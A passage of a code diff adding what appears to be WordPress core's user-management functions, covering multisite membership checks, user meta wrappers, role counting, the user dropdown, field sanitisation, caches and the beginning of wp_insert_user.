+	$site_ids = array();
+
+	if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
+		$site_ids[] = 1;
+		unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
+	}
+
+	$keys = array_keys( $keys );
+
+	foreach ( $keys as $key ) {
+		if ( 'capabilities' !== substr( $key, -12 ) )
+			continue;
+		if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
+			continue;
+		$site_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
+		if ( ! is_numeric( $site_id ) )
+			continue;
+
+		$site_ids[] = (int) $site_id;
+	}
+
+	$sites = array();
+
+	if ( ! empty( $site_ids ) ) {
+		$args = array(
+			'number'   => '',
+			'site__in' => $site_ids,
+		);
+		if ( ! $all ) {
+			$args['archived'] = 0;
+			$args['spam']     = 0;
+			$args['deleted']  = 0;
+		}
+
+		$_sites = get_sites( $args );
+
+		foreach ( $_sites as $site ) {
+			$sites[ $site->id ] = (object) array(
+				'userblog_id' => $site->id,
+				'blogname'    => $site->blogname,
+				'domain'      => $site->domain,
+				'path'        => $site->path,
+				'site_id'     => $site->network_id,
+				'siteurl'     => $site->siteurl,
+				'archived'    => $site->archived,
+				'mature'      => $site->mature,
+				'spam'        => $site->spam,
+				'deleted'     => $site->deleted,
+			);
+		}
+	}
+
+	/**
+	 * Filters the list of sites a user belongs to.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param array $sites   An array of site objects belonging to the user.
+	 * @param int   $user_id User ID.
+	 * @param bool  $all     Whether the returned sites array should contain all sites, including
+	 *                       those marked 'deleted', 'archived', or 'spam'. Default false.
+	 */
+	return apply_filters( 'get_blogs_of_user', $sites, $user_id, $all );
+}
+
+/**
+ * Find out whether a user is a member of a given blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
+ * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
+ * @return bool
+ */
+function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
+	global $wpdb;
+
+	$user_id = (int) $user_id;
+	$blog_id = (int) $blog_id;
+
+	if ( empty( $user_id ) ) {
+		$user_id = get_current_user_id();
+	}
+
+	// Technically not needed, but does save calls to get_site and get_user_meta
+	// in the event that the function is called when a user isn't logged in
+	if ( empty( $user_id ) ) {
+		return false;
+	} else {
+		$user = get_userdata( $user_id );
+		if ( ! $user instanceof WP_User ) {
+			return false;
+		}
+	}
+
+	if ( ! is_multisite() ) {
+		return true;
+	}
+
+	if ( empty( $blog_id ) ) {
+		$blog_id = get_current_blog_id();
+	}
+
+	$blog = get_site( $blog_id );
+
+	if ( ! $blog || ! isset( $blog->domain ) || $blog->archived || $blog->spam || $blog->deleted ) {
+		return false;
+	}
+
+	$keys = get_user_meta( $user_id );
+	if ( empty( $keys ) ) {
+		return false;
+	}
+
+	// no underscore before capabilities in $base_capabilities_key
+	$base_capabilities_key = $wpdb->base_prefix . 'capabilities';
+	$site_capabilities_key = $wpdb->base_prefix . $blog_id . '_capabilities';
+
+	if ( isset( $keys[ $base_capabilities_key ] ) && $blog_id == 1 ) {
+		return true;
+	}
+
+	if ( isset( $keys[ $site_capabilities_key ] ) ) {
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Adds meta data to a user.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $user_id    User ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Metadata value.
+ * @param bool   $unique     Optional. Whether the same key should not be added. Default false.
+ * @return int|false Meta ID on success, false on failure.
+ */
+function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
+	return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
+}
+
+/**
+ * Remove metadata matching criteria from a user.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 3.0.0
+ * @link https://codex.wordpress.org/Function_Reference/delete_user_meta
+ *
+ * @param int    $user_id    User ID
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Optional. Metadata value.
+ * @return bool True on success, false on failure.
+ */
+function delete_user_meta($user_id, $meta_key, $meta_value = '') {
+	return delete_metadata('user', $user_id, $meta_key, $meta_value);
+}
+
+/**
+ * Retrieve user meta field for a user.
+ *
+ * @since 3.0.0
+ * @link https://codex.wordpress.org/Function_Reference/get_user_meta
+ *
+ * @param int    $user_id User ID.
+ * @param string $key     Optional. The meta key to retrieve. By default, returns data for all keys.
+ * @param bool   $single  Whether to return a single value.
+ * @return mixed Will be an array if $single is false. Will be value of meta data field if $single is true.
+ */
+function get_user_meta($user_id, $key = '', $single = false) {
+	return get_metadata('user', $user_id, $key, $single);
+}
+
+/**
+ * Update user meta field based on user ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and user ID.
+ *
+ * If the meta field for the user does not exist, it will be added.
+ *
+ * @since 3.0.0
+ * @link https://codex.wordpress.org/Function_Reference/update_user_meta
+ *
+ * @param int    $user_id    User ID.
+ * @param string $meta_key   Metadata key.
+ * @param mixed  $meta_value Metadata value.
+ * @param mixed  $prev_value Optional. Previous value to check before removing.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
+	return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
+}
+
+/**
+ * Count number of users who have each of the user roles.
+ *
+ * Assumes there are neither duplicated nor orphaned capabilities meta_values.
+ * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
+ * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
+ * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
+ *
+ * @since 3.0.0
+ * @since 4.4.0 The number of users with no role is now included in the `none` element.
+ * @since 4.9.0 The `$site_id` parameter was added to support multisite.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string   $strategy Optional. The computational strategy to use when counting the users.
+ *                           Accepts either 'time' or 'memory'. Default 'time'.
+ * @param int|null $site_id  Optional. The site ID to count users for. Defaults to the current site.
+ * @return array Includes a grand total and an array of counts indexed by role strings.
+ */
+function count_users( $strategy = 'time', $site_id = null ) {
+	global $wpdb;
+
+	// Initialize
+	if ( ! $site_id ) {
+		$site_id = get_current_blog_id();
+	}
+	$blog_prefix = $wpdb->get_blog_prefix( $site_id );
+	$result = array();
+
+	if ( 'time' == $strategy ) {
+		if ( is_multisite() && $site_id != get_current_blog_id() ) {
+			switch_to_blog( $site_id );
+			$avail_roles = wp_roles()->get_names();
+			restore_current_blog();
+		} else {
+			$avail_roles = wp_roles()->get_names();
+		}
+
+		// Build a CPU-intensive query that will return concise information.
+		$select_count = array();
+		foreach ( $avail_roles as $this_role => $name ) {
+			$select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
+		}
+		$select_count[] = "COUNT(NULLIF(`meta_value` = 'a:0:{}', false))";
+		$select_count = implode(', ', $select_count);
+
+		// Add the meta_value index to the selection list, then run the query.
+		$row = $wpdb->get_row( "
+			SELECT {$select_count}, COUNT(*)
+			FROM {$wpdb->usermeta}
+			INNER JOIN {$wpdb->users} ON user_id = ID
+			WHERE meta_key = '{$blog_prefix}capabilities'
+		", ARRAY_N );
+
+		// Run the previous loop again to associate results with role names.
+		$col = 0;
+		$role_counts = array();
+		foreach ( $avail_roles as $this_role => $name ) {
+			$count = (int) $row[$col++];
+			if ($count > 0) {
+				$role_counts[$this_role] = $count;
+			}
+		}
+
+		$role_counts['none'] = (int) $row[$col++];
+
+		// Get the meta_value index from the end of the result set.
+		$total_users = (int) $row[$col];
+
+		$result['total_users'] = $total_users;
+		$result['avail_roles'] =& $role_counts;
+	} else {
+		$avail_roles = array(
+			'none' => 0,
+		);
+
+		$users_of_blog = $wpdb->get_col( "
+			SELECT meta_value
+			FROM {$wpdb->usermeta}
+			INNER JOIN {$wpdb->users} ON user_id = ID
+			WHERE meta_key = '{$blog_prefix}capabilities'
+		" );
+
+		foreach ( $users_of_blog as $caps_meta ) {
+			$b_roles = maybe_unserialize($caps_meta);
+			if ( ! is_array( $b_roles ) )
+				continue;
+			if ( empty( $b_roles ) ) {
+				$avail_roles['none']++;
+			}
+			foreach ( $b_roles as $b_role => $val ) {
+				if ( isset($avail_roles[$b_role]) ) {
+					$avail_roles[$b_role]++;
+				} else {
+					$avail_roles[$b_role] = 1;
+				}
+			}
+		}
+
+		$result['total_users'] = count( $users_of_blog );
+		$result['avail_roles'] =& $avail_roles;
+	}
+
+	return $result;
+}
+
+//
+// Private helper functions
+//
+
+/**
+ * Set up global user vars.
+ *
+ * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
+ *
+ * @since 2.0.4
+ *
+ * @global string  $user_login    The user username for logging in
+ * @global WP_User $userdata      User data.
+ * @global int     $user_level    The level of the user
+ * @global int     $user_ID       The ID of the user
+ * @global string  $user_email    The email address of the user
+ * @global string  $user_url      The url in the user's profile
+ * @global string  $user_identity The display name of the user
+ *
+ * @param int $for_user_id Optional. User ID to set up global data.
+ */
+function setup_userdata($for_user_id = '') {
+	global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
+
+	if ( '' == $for_user_id )
+		$for_user_id = get_current_user_id();
+	$user = get_userdata( $for_user_id );
+
+	if ( ! $user ) {
+		$user_ID = 0;
+		$user_level = 0;
+		$userdata = null;
+		$user_login = $user_email = $user_url = $user_identity = '';
+		return;
+	}
+
+	$user_ID    = (int) $user->ID;
+	$user_level = (int) $user->user_level;
+	$userdata   = $user;
+	$user_login = $user->user_login;
+	$user_email = $user->user_email;
+	$user_url   = $user->user_url;
+	$user_identity = $user->display_name;
+}
+
+/**
+ * Create dropdown HTML content of users.
+ *
+ * The content can either be displayed, which it is by default or retrieved by
+ * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
+ * need to be used; all users will be displayed in that case. Only one can be
+ * used, either 'include' or 'exclude', but not both.
+ *
+ * The available arguments are as follows:
+ *
+ * @since 2.3.0
+ * @since 4.5.0 Added the 'display_name_with_login' value for 'show'.
+ * @since 4.7.0 Added the `$role`, `$role__in`, and `$role__not_in` parameters.
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to generate a drop-down of users.
+ *     See WP_User_Query::prepare_query() for additional available arguments.
+ *
+ *     @type string       $show_option_all         Text to show as the drop-down default (all).
+ *                                                 Default empty.
+ *     @type string       $show_option_none        Text to show as the drop-down default when no
+ *                                                 users were found. Default empty.
+ *     @type int|string   $option_none_value       Value to use for $show_option_non when no users
+ *                                                 were found. Default -1.
+ *     @type string       $hide_if_only_one_author Whether to skip generating the drop-down
+ *                                                 if only one user was found. Default empty.
+ *     @type string       $orderby                 Field to order found users by. Accepts user fields.
+ *                                                 Default 'display_name'.
+ *     @type string       $order                   Whether to order users in ascending or descending
+ *                                                 order. Accepts 'ASC' (ascending) or 'DESC' (descending).
+ *                                                 Default 'ASC'.
+ *     @type array|string $include                 Array or comma-separated list of user IDs to include.
+ *                                                 Default empty.
+ *     @type array|string $exclude                 Array or comma-separated list of user IDs to exclude.
+ *                                                 Default empty.
+ *     @type bool|int     $multi                   Whether to skip the ID attribute on the 'select' element.
+ *                                                 Accepts 1|true or 0|false. Default 0|false.
+ *     @type string       $show                    User data to display. If the selected item is empty
+ *                                                 then the 'user_login' will be displayed in parentheses.
+ *                                                 Accepts any user field, or 'display_name_with_login' to show
+ *                                                 the display name with user_login in parentheses.
+ *                                                 Default 'display_name'.
+ *     @type int|bool     $echo                    Whether to echo or return the drop-down. Accepts 1|true (echo)
+ *                                                 or 0|false (return). Default 1|true.
+ *     @type int          $selected                Which user ID should be selected. Default 0.
+ *     @type bool         $include_selected        Whether to always include the selected user ID in the drop-
+ *                                                 down. Default false.
+ *     @type string       $name                    Name attribute of select element. Default 'user'.
+ *     @type string       $id                      ID attribute of the select element. Default is the value of $name.
+ *     @type string       $class                   Class attribute of the select element. Default empty.
+ *     @type int          $blog_id                 ID of blog (Multisite only). Default is ID of the current blog.
+ *     @type string       $who                     Which type of users to query. Accepts only an empty string or
+ *                                                 'authors'. Default empty.
+ *     @type string|array $role                    An array or a comma-separated list of role names that users must
+ *                                                 match to be included in results. Note that this is an inclusive
+ *                                                 list: users must match *each* role. Default empty.
+ *     @type array        $role__in                An array of role names. Matched users must have at least one of
+ *                                                 these roles. Default empty array.
+ *     @type array        $role__not_in            An array of role names to exclude. Users matching one or more of
+ *                                                 these roles will not be included in results. Default empty array.
+ * }
+ * @return string String of HTML content.
+ */
+function wp_dropdown_users( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
+		'orderby' => 'display_name', 'order' => 'ASC',
+		'include' => '', 'exclude' => '', 'multi' => 0,
+		'show' => 'display_name', 'echo' => 1,
+		'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
+		'blog_id' => get_current_blog_id(), 'who' => '', 'include_selected' => false,
+		'option_none_value' => -1,
+		'role' => '',
+		'role__in' => array(),
+		'role__not_in' => array(),
+	);
+
+	$defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who', 'role', 'role__in', 'role__not_in' ) );
+
+	$fields = array( 'ID', 'user_login' );
+
+	$show = ! empty( $r['show'] ) ? $r['show'] : 'display_name';
+	if ( 'display_name_with_login' === $show ) {
+		$fields[] = 'display_name';
+	} else {
+		$fields[] = $show;
+	}
+
+	$query_args['fields'] = $fields;
+
+	$show_option_all = $r['show_option_all'];
+	$show_option_none = $r['show_option_none'];
+	$option_none_value = $r['option_none_value'];
+
+	/**
+	 * Filters the query arguments for the list of users in the dropdown.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $query_args The query arguments for get_users().
+	 * @param array $r          The arguments passed to wp_dropdown_users() combined with the defaults.
+	 */
+	$query_args = apply_filters( 'wp_dropdown_users_args', $query_args, $r );
+
+	$users = get_users( $query_args );
+
+	$output = '';
+	if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
+		$name = esc_attr( $r['name'] );
+		if ( $r['multi'] && ! $r['id'] ) {
+			$id = '';
+		} else {
+			$id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
+		}
+		$output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
+
+		if ( $show_option_all ) {
+			$output .= "\t<option value='0'>$show_option_all</option>\n";
+		}
+
+		if ( $show_option_none ) {
+			$_selected = selected( $option_none_value, $r['selected'], false );
+			$output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
+		}
+
+		if ( $r['include_selected'] && ( $r['selected'] > 0 ) ) {
+			$found_selected = false;
+			$r['selected'] = (int) $r['selected'];
+			foreach ( (array) $users as $user ) {
+				$user->ID = (int) $user->ID;
+				if ( $user->ID === $r['selected'] ) {
+					$found_selected = true;
+				}
+			}
+
+			if ( ! $found_selected ) {
+				$users[] = get_userdata( $r['selected'] );
+			}
+		}
+
+		foreach ( (array) $users as $user ) {
+			if ( 'display_name_with_login' === $show ) {
+				/* translators: 1: display name, 2: user_login */
+				$display = sprintf( _x( '%1$s (%2$s)', 'user dropdown' ), $user->display_name, $user->user_login );
+			} elseif ( ! empty( $user->$show ) ) {
+				$display = $user->$show;
+			} else {
+				$display = '(' . $user->user_login . ')';
+			}
+
+			$_selected = selected( $user->ID, $r['selected'], false );
+			$output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
+		}
+
+		$output .= "</select>";
+	}
+
+	/**
+	 * Filters the wp_dropdown_users() HTML output.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $output HTML output generated by wp_dropdown_users().
+	 */
+	$html = apply_filters( 'wp_dropdown_users', $output );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Sanitize user field based on context.
+ *
+ * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
+ * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
+ * when calling filters.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field   The user Object field name.
+ * @param mixed  $value   The user Object value.
+ * @param int    $user_id User ID.
+ * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
+ *                        'attribute' and 'js'.
+ * @return mixed Sanitized value.
+ */
+function sanitize_user_field($field, $value, $user_id, $context) {
+	$int_fields = array('ID');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( !is_string($value) && !is_numeric($value) )
+		return $value;
+
+	$prefixed = false !== strpos( $field, 'user_' );
+
+	if ( 'edit' == $context ) {
+		if ( $prefixed ) {
+
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( "edit_{$field}", $value, $user_id );
+		} else {
+
+			/**
+			 * Filters a user field value in the 'edit' context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed $value   Value of the prefixed user field.
+			 * @param int   $user_id User ID.
+			 */
+			$value = apply_filters( "edit_user_{$field}", $value, $user_id );
+		}
+
+		if ( 'description' == $field )
+			$value = esc_html( $value ); // textarea_escaped?
+		else
+			$value = esc_attr($value);
+	} elseif ( 'db' == $context ) {
+		if ( $prefixed ) {
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( "pre_{$field}", $value );
+		} else {
+
+			/**
+			 * Filters the value of a user field in the 'db' context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+ 			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed $value Value of the prefixed user field.
+			 */
+			$value = apply_filters( "pre_user_{$field}", $value );
+		}
+	} else {
+		// Use display filters by default.
+		if ( $prefixed ) {
+
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( "{$field}", $value, $user_id, $context );
+		} else {
+
+			/**
+			 * Filters the value of a user field in a standard context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed  $value   The user object value to sanitize.
+			 * @param int    $user_id User ID.
+			 * @param string $context The context to filter within.
+			 */
+			$value = apply_filters( "user_{$field}", $value, $user_id, $context );
+		}
+	}
+
+	if ( 'user_url' == $field )
+		$value = esc_url($value);
+
+	if ( 'attribute' == $context ) {
+		$value = esc_attr( $value );
+	} elseif ( 'js' == $context ) {
+		$value = esc_js( $value );
+	}
+	return $value;
+}
+
+/**
+ * Update all user caches
+ *
+ * @since 3.0.0
+ *
+ * @param WP_User $user User object to be cached
+ * @return bool|null Returns false on failure.
+ */
+function update_user_caches( $user ) {
+	if ( $user instanceof WP_User ) {
+		if ( ! $user->exists() ) {
+			return false;
+		}
+
+		$user = $user->data;
+	}
+
+	wp_cache_add($user->ID, $user, 'users');
+	wp_cache_add($user->user_login, $user->ID, 'userlogins');
+	wp_cache_add($user->user_email, $user->ID, 'useremail');
+	wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
+}
+
+/**
+ * Clean all user caches
+ *
+ * @since 3.0.0
+ * @since 4.4.0 'clean_user_cache' action was added.
+ *
+ * @param WP_User|int $user User object or ID to be cleaned from the cache
+ */
+function clean_user_cache( $user ) {
+	if ( is_numeric( $user ) )
+		$user = new WP_User( $user );
+
+	if ( ! $user->exists() )
+		return;
+
+	wp_cache_delete( $user->ID, 'users' );
+	wp_cache_delete( $user->user_login, 'userlogins' );
+	wp_cache_delete( $user->user_email, 'useremail' );
+	wp_cache_delete( $user->user_nicename, 'userslugs' );
+
+	/**
+	 * Fires immediately after the given user's cache is cleaned.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int     $user_id User ID.
+	 * @param WP_User $user    User object.
+	 */
+	do_action( 'clean_user_cache', $user->ID, $user );
+}
+
+/**
+ * Determines whether the given username exists.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.0.0
+ *
+ * @param string $username Username.
+ * @return int|false The user's ID on success, and false on failure.
+ */
+function username_exists( $username ) {
+	if ( $user = get_user_by( 'login', $username ) ) {
+		$user_id = $user->ID;
+	} else {
+		$user_id = false;
+	}
+
+	/**
+	 * Filters whether the given username exists or not.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int|false $user_id  The user's ID on success, and false on failure.
+	 * @param string    $username Username to check.
+	 */
+	return apply_filters( 'username_exists', $user_id, $username );
+}
+
+/**
+ * Determines whether the given email exists.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.1.0
+ *
+ * @param string $email Email.
+ * @return int|false The user's ID on success, and false on failure.
+ */
+function email_exists( $email ) {
+	if ( $user = get_user_by( 'email', $email) ) {
+		return $user->ID;
+	}
+	return false;
+}
+
+/**
+ * Checks whether a username is valid.
+ *
+ * @since 2.0.1
+ * @since 4.4.0 Empty sanitized usernames are now considered invalid
+ *
+ * @param string $username Username.
+ * @return bool Whether username given is valid
+ */
+function validate_username( $username ) {
+	$sanitized = sanitize_user( $username, true );
+	$valid = ( $sanitized == $username && ! empty( $sanitized ) );
+
+	/**
+	 * Filters whether the provided username is valid or not.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @param bool   $valid    Whether given username is valid.
+	 * @param string $username Username to check.
+	 */
+	return apply_filters( 'validate_username', $valid, $username );
+}
+
+/**
+ * Insert a user into the database.
+ *
+ * Most of the `$userdata` array fields have filters associated with the values. Exceptions are
+ * 'ID', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl',
+ * 'user_registered', and 'role'. The filters have the prefix 'pre_user_' followed by the field
+ * name. An example using 'description' would have the filter called, 'pre_user_description' that
+ * can be hooked into.
+ *
+ * @since 2.0.0
+ * @since 3.6.0 The `aim`, `jabber`, and `yim` fields were removed as default user contact
+ *              methods for new installations. See wp_get_user_contact_methods().
+ * @since 4.7.0 The user's locale can be passed to `$userdata`.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array|object|WP_User $userdata {
+ *     An array, object, or WP_User object of user data arguments.
+ *
+ *     @type int         $ID                   User ID. If supplied, the user will be updated.
+ *     @type string      $user_pass            The plain-text user password.
+ *     @type string      $user_login           The user's login username.
+ *     @type string      $user_nicename        The URL-friendly user name.
+ *     @type string      $user_url             The user URL.
+ *     @type string      $user_email           The user email address.
+ *     @type string      $display_name         The user's display name.
+ *                                             Default is the user's username.
+ *     @type string      $nickname             The user's nickname.
+ *                                             Default is the user's username.
+ *     @type string      $first_name           The user's first name. For new users, will be used
+ *                                             to build the first part of the user's display name
+ *                                             if `$display_name` is not specified.
+ *     @type string      $last_name            The user's last name. For new users, will be used
+ *                                             to build the second part of the user's display name
+ *                                             if `$display_name` is not specified.
+ *     @type string      $description          The user's biographical description.
+ *     @type string|bool $rich_editing         Whether to enable the rich-editor for the user.
+ *                                             False if not empty.
+ *     @type string|bool $syntax_highlighting  Whether to enable the rich code editor for the user.
+ *                                             False if not empty.
+ *     @type string|bool $comment_shortcuts    Whether to enable comment moderation keyboard
+ *                                             shortcuts for the user. Default false.
+ *     @type string      $admin_color          Admin color scheme for the user. Default 'fresh'.
+ *     @type bool        $use_ssl              Whether the user should always access the admin over
+ *                                             https. Default false.
+ *     @type string      $user_registered      Date the user registered. Format is 'Y-m-d H:i:s'.
+ *     @type string|bool $show_admin_bar_front Whether to display the Admin Bar for the user on the
+ *                                             site's front end. Default true.
+ *     @type string      $role                 User's role.
+ *     @type string      $locale               User's locale. Default empty.
+ * }
+ * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
+ *                      be created.
+ */
+function wp_insert_user( $userdata ) {
+	global $wpdb;
+
+	if ( $userdata instanceof stdClass ) {
+		$userdata = get_object_vars( $userdata );
+	} elseif ( $userdata instanceof WP_User ) {
+		$userdata = $userdata->to_array();
+	}
+
+	// Are we updating or creating?
+	if ( ! empty( $userdata['ID'] ) ) {
+		$ID = (int) $userdata['ID'];
+		$update = true;
+		$old_user_data = get_userdata( $ID );
+
+		if ( ! $old_user_data ) {
+			return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
+		}
+
+		// hashed in wp_update_user(), plaintext if called directly
+		$user_pass = ! empty( $userdata['user_pass'] ) ? $userdata['user_pass'] : $old_user_data->user_pass;
+	} else {
+		$update = false;
+		// Hash the password
+		$user_pass = wp_hash_password( $userdata['user_pass'] );
+	}
+
+	$sanitized_user_login = sanitize_user( $userdata['user_login'], true );
+
+	/**
+	 * Filters a username after it has been sanitized.
+	 *
+	 * This filter is called before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $sanitized_user_login Username after it has been sanitized.
+	 */
+	$pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
+
+	//Remove any non-printable chars from the login string to see if we have ended up with an empty username
+	$user_login = trim( $pre_user_login );
+
+	// user_login must be between 0 and 60 characters.
+	if ( empty( $user_login ) ) {
+		return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
+	} elseif ( mb_strlen( $user_login ) > 60 ) {
+		return new WP_Error( 'user_login_too_long', __( 'Username may not be longer than 60 characters.' ) );
+	}
+
+	if ( ! $update && username_exists( $user_login ) ) {
+		return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
+	}
+
+	/**
+	 * Filters the list of blacklisted usernames.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $usernames Array of blacklisted usernames.
+	 */
+	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
+
+	if ( in_array( strtolower( $user_login ), array_map( 'strtolower', $illegal_logins ) ) ) {
+		return new WP_Error( 'invalid_username', __( 'Sorry, that username is not allowed.' ) );
+	}
+
+	/*
+	 * If a nicename is provided, remove unsafe user characters before using it.
+	 * Otherwise build a nicename from the user_login.
+	 */
+	if ( ! empty( $userdata['user_nicename'] ) ) {
+		$user_nicename = sanitize_user( $userdata['user_nicename'], true );
+		if ( mb_strlen( $user_nicename ) > 50 ) {
+			return new WP_Error( 'user_nicename_too_long', __( 'Nicename may not be longer than 50 characters.' ) );
+		}
+	} else {
+		$user_nicename = mb_substr( $user_login, 0, 50 );
+	}
+
+	$user_nicename = sanitize_title( $user_nicename );
+
+	// Store values to save in user meta.
+	$meta = array();
+
+	/**
+	 * Filters a user's nicename before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $user_nicename The user's nicename.
+	 */
+	$user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
+
+	$raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
+
+	/**
+	 * Filters a user's URL before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $raw_user_url The user's URL.
+	 */
+	$user_url = apply_filters( 'pre_user_url', $raw_user_url );
+
+	$raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
+
+	/**
+	 * Filters a user's email before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $raw_user_email The user's email.
+	 */
+	$user_email = apply_filters( 'pre_user_email', $raw_user_email );
+
+	/*
+	 * If there is no update, just check for `email_exists`. If there is an update,
+	 * check if current email and new email are the same, or not, and check `email_exists`
+	 * accordingly.
+	 */
+	if ( ( ! $update || ( ! empty( $old_user_data ) && 0 !== strcasecmp( $user_email, $old_user_data->user_email ) ) )
+		&& ! defined( 'WP_IMPORTING' )
+		&& email_exists( $user_email )
+	) {
+		return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
+	}
+	$nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
+
+	/**
+	 * Filters a user's nickname before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $nickname The user's nickname.
+	 */
+	$meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
+
+	$first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
+
+	/**
+	 * Filters a user's first name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $first_name The user's first name.
+	 */
+	$meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
+
+	$last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
+
+	/**
+	 * Filters a user's last name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $last_name The user's last name.
+	 */
+	$meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
+
+	if ( empty( $userdata['display_name'] ) ) {
+		if ( $update ) {
+			$display_name = $user_login;
+		} elseif ( $meta['first_name'] && $meta['last_name'] ) {
+			/* translators: 1: first name, 2: last name */
+			$display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
